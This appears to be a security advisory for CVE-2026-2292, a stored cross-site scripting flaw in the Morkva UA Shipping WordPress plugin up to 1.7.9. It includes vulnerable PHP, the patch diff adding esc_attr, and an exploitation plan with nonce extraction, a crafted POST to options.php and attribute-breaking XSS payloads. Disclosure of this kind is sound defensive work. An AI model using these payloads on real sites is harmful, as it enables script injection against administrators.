CVE-2026-2292

Morkva UA Shipping <= 1.7.9 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Weight, kg' Field

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
1.7.10
Patched in
1d
Time to patch

Description

The Morkva UA Shipping plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.7.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.9
PublishedMarch 3, 2026
Last updatedMarch 4, 2026
Affected pluginmorkva-ua-shipping

What Changed in the Fix

Changes introduced in v1.7.10

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the steps to exploit a stored Cross-Site Scripting (XSS) vulnerability in the **Morkva UA Shipping** plugin (<= 1.7.9). The vulnerability exists because the plugin fails to sanitize and escape the "Weight, kg" field within its administrative settings. ### 1. Vulnerability Summary…

Show full research plan

This plan outlines the steps to exploit a stored Cross-Site Scripting (XSS) vulnerability in the Morkva UA Shipping plugin (<= 1.7.9). The vulnerability exists because the plugin fails to sanitize and escape the "Weight, kg" field within its administrative settings.

1. Vulnerability Summary

  • Vulnerability: Authenticated Stored XSS.
  • Affected Parameter: Any numeric setting field (specifically "Weight, kg") rendered via the MRKV_UA_SHIPPING_OPTION_FILEDS::get_input_number method.
  • Vulnerable Sink: classes/settings/global/mrkv-ua-shipping-option-fields.php in the get_input_number() function.
  • Cause: The $value_content variable (derived from user-controlled settings) is echoed directly into the value attribute of an <input type="number"> tag without using esc_attr(). This allows an attacker to break out of the attribute and inject event handlers or other attributes.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/options.php (standard WordPress settings handler).
  • Vulnerable Page: /wp-admin/admin.php?page=mrkv_ua_shipping_nova-poshta (or other shipping method sub-pages like ukr-poshta).
  • Required Authentication: Administrator permissions (specifically when unfiltered_html is disabled).
  • Payload Location: The nova-poshta_m_ua_settings[default][weight] parameter (field name inferred from plugin logic).

3. Code Flow

  1. Entry Point: An administrator saves plugin settings via the WordPress Admin UI.
  2. Storage: The settings are saved as an array in the wp_options table under the name nova-poshta_m_ua_settings.
  3. Loading: When the settings page is loaded, MRKV_UA_SHIPPING_METHODS::get_shipping_admin_settings (in classes/shipping_methods/mrkv-ua-shipping-methods.php) retrieves the option:
    define('MRKV_OPTION_OBJECT_NAME', SETTINGS_MRKV_UA_SHIPPING_SLUG . '_m_ua_settings');
    define('MRKV_SHIPPING_SETTINGS', get_option(MRKV_OPTION_OBJECT_NAME));
    
  4. Sink: The settings page calls get_input_number() in classes/settings/global/mrkv-ua-shipping-option-fields.php:
    public function get_input_number($label, $name, $value = '', ...) {
        $value_content = $value ? $value : $default_value; // No sanitization
        // Value is echoed directly into attribute
        $name_content = $name ? '<input ... name="' . $name . '" ... value="' . $value_content . '" ' . $readonly . '>' : '';
        return $html;
    }
    

4. Nonce Acquisition Strategy

The settings are saved using the standard WordPress Options API.

  1. Navigate to the settings page: wp-admin/admin.php?page=mrkv_ua_shipping_nova-poshta.
  2. The form on this page will contain a hidden input for _wpnonce.
  3. The nonce action is automatically generated by WordPress for the settings group mrkv-ua-shipping-nova-poshta-group.
  4. Extraction:
    // Use browser_eval to get the nonce from the form
    document.querySelector('form[action="options.php"] input[name="_wpnonce"]').value;
    

5. Exploitation Strategy

  1. Pre-requisite: The Nova Poshta shipping method must be enabled.
  2. Navigation: Navigate to the Nova Poshta settings page.
  3. Extraction: Grab the _wpnonce and the exact name attribute of the "Weight, kg" input.
  4. Injection: Send a POST request to options.php with the XSS payload.
  5. Payload: 0" onmouseover="alert(document.domain)" style="width:1000px;height:1000px;display:block;"
    • Note: Since it's a type="number", the browser might visually restrict input, but the server-side storage accepts the string. Injecting a large style ensures the onmouseover is easily triggered. Alternatively, use 0" autofocus onfocus="alert(1)".

HTTP Request (Example):

POST /wp-admin/options.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

option_page=mrkv-ua-shipping-nova-poshta-group&
action=update&
_wpnonce=[EXTRACTED_NONCE]&
nova-poshta_m_ua_settings[default][weight]=0" autofocus onfocus="alert(document.domain)"

6. Test Data Setup

  1. Activate Plugin: Ensure morkva-ua-shipping is active.
  2. Enable Method: Use WP-CLI to enable Nova Poshta to ensure the settings page is accessible.
    wp option update m_ua_active_plugins '{"nova-poshta":{"enabled":"on"}}' --format=json
    
  3. Administrator User: Use the existing admin credentials.

7. Expected Results

  • The POST request to options.php should return a 302 redirect back to the settings page.
  • Upon redirection (or manual reload), the HTML source of the "Weight, kg" input will look like:
    <input ... type="number" ... value="0" autofocus onfocus="alert(document.domain)" ">
    
  • The JavaScript payload will execute automatically (due to autofocus/onfocus) or upon hovering.

8. Verification Steps

  1. Check Database: Verify the payload is stored in the options table.
    wp option get nova-poshta_m_ua_settings --format=json
    
  2. Verify Rendering: Use http_request to fetch the settings page and grep for the payload.
    # Look for the injected onfocus handler
    grep "onfocus=\"alert"
    

9. Alternative Approaches

  • Different Shipping Methods: If nova-poshta is not the target, the same vulnerability exists in ukr-poshta or rozetka-delivery settings pages, as they all use the same MRKV_UA_SHIPPING_OPTION_FILEDS generator.
  • Bypassing type="number": If the browser refuses to render event handlers on a numeric input, an attacker can attempt to inject a type="text" attribute. While browsers usually prioritize the first type attribute, some older environments or specific rendering contexts might be susceptible to attribute overwriting or breaking the tag entirely ("><script>...).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Morkva UA Shipping plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting (XSS) via the 'Weight, kg' and other administrative settings fields. An attacker with administrator-level privileges (especially in multi-site environments where 'unfiltered_html' is restricted) can inject arbitrary JavaScript by breaking out of the 'value' attribute of the input fields, which are rendered without proper sanitization or attribute escaping.

Vulnerable Code

// classes/settings/global/mrkv-ua-shipping-option-fields.php (Lines 47-52)
public function get_input_text($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $disabled = '')
{
    # Get all fields
    $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
    $value_content = $value ? $value : $default_value;
    $name_content = $name ? '<input ' . $disabled . ' id="' . $id . '" type="text" name="' . $name . '" placeholder="' . $placeholder . '" value="' . $value_content . '">' : '';

---

// classes/settings/global/mrkv-ua-shipping-option-fields.php (Lines 76-80)
public function get_input_number($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $readonly = '', $step = '0.01', $max = '')
{
    # Get all fields
    $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
    $value_content = $value ? $value : $default_value;
    $max_content = $max ? 'max="' . $max . '"' : '';
    $name_content = $name ? '<input step="' . $step . '" min="0" ' . $max_content . ' id="' . $id . '" type="number" onwheel="this.blur()" name="' . $name . '" placeholder="' . $placeholder . '" value="' . $value_content . '" ' . $readonly . '>' : '';

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/morkva-ua-shipping/1.7.9/classes/settings/global/mrkv-ua-shipping-option-fields.php /home/deploy/wp-safety.org/data/plugin-versions/morkva-ua-shipping/1.7.10/classes/settings/global/mrkv-ua-shipping-option-fields.php
--- /home/deploy/wp-safety.org/data/plugin-versions/morkva-ua-shipping/1.7.9/classes/settings/global/mrkv-ua-shipping-option-fields.php	2026-02-10 09:48:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/morkva-ua-shipping/1.7.10/classes/settings/global/mrkv-ua-shipping-option-fields.php	2026-02-24 09:53:02.000000000 +0000
@@ -3,282 +3,282 @@
 if ( ! defined( 'ABSPATH' ) ) exit; 
 
 # Check if class exist
-if (!class_exists('MRKV_UA_SHIPPING_OPTION_FILEDS'))
+if (!class_exists('MRKV_UA_SHIPPING_OPTION_FIELDS'))
 {
-	/**
-	 * Class for setup plugin global options fields
-	 */
-	class MRKV_UA_SHIPPING_OPTION_FILEDS
-	{
...
-	    public function get_input_number($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $readonly = '', $step = '0.01', $max = '')
-	    {
-	    	# Get all fields
-	    	$label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
-	    	$value_content = $value ? $value : $default_value;
-	    	$max_content = $max ? 'max="' . $max . '"' : '';
-	    	$name_content = $name ? '<input step="' . $step . '" min="0" ' . $max_content . ' id="' . $id . '" type="number" onwheel="this.blur()" name="' . $name . '" placeholder="' . $placeholder . '" value="' . $value_content . '" ' . $readonly . '>' : '';
...
+        public function get_input_number($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $readonly = '', $step = '0.01', $max = '')
+        {
+            # Get all fields
+            $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
+            $value_content = $value ? $value : $default_value;
+            $max_content = $max ? 'max="' . $max . '"' : '';
+            $name_content = $name ? '<input step="' . $step . '" min="0" ' . $max_content . ' id="' . $id . '" type="number" onwheel="this.blur()" name="' . $name . '" placeholder="' . $placeholder . '" value="' . esc_attr($value_content) . '" ' . $readonly . '>' : '';

Exploit Outline

The exploit targets the shipping method settings pages in the WordPress admin dashboard. An attacker with Administrator privileges needs to: 1. Navigate to the plugin's settings page (e.g., Nova Poshta settings at `wp-admin/admin.php?page=mrkv_ua_shipping_nova-poshta`). 2. Locate the 'Weight, kg' field, which is rendered using a numeric input generator. 3. Send a POST request to `/wp-admin/options.php` including the necessary `_wpnonce` and the `option_page` identifier (`mrkv-ua-shipping-nova-poshta-group`). 4. Inject a payload into the `weight` parameter (part of the `nova-poshta_m_ua_settings` array) that closes the existing attribute and adds an event handler, such as: `0" autofocus onfocus="alert(document.domain)"`. 5. The payload will be stored in the `wp_options` table and execute whenever an administrator loads the affected settings page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.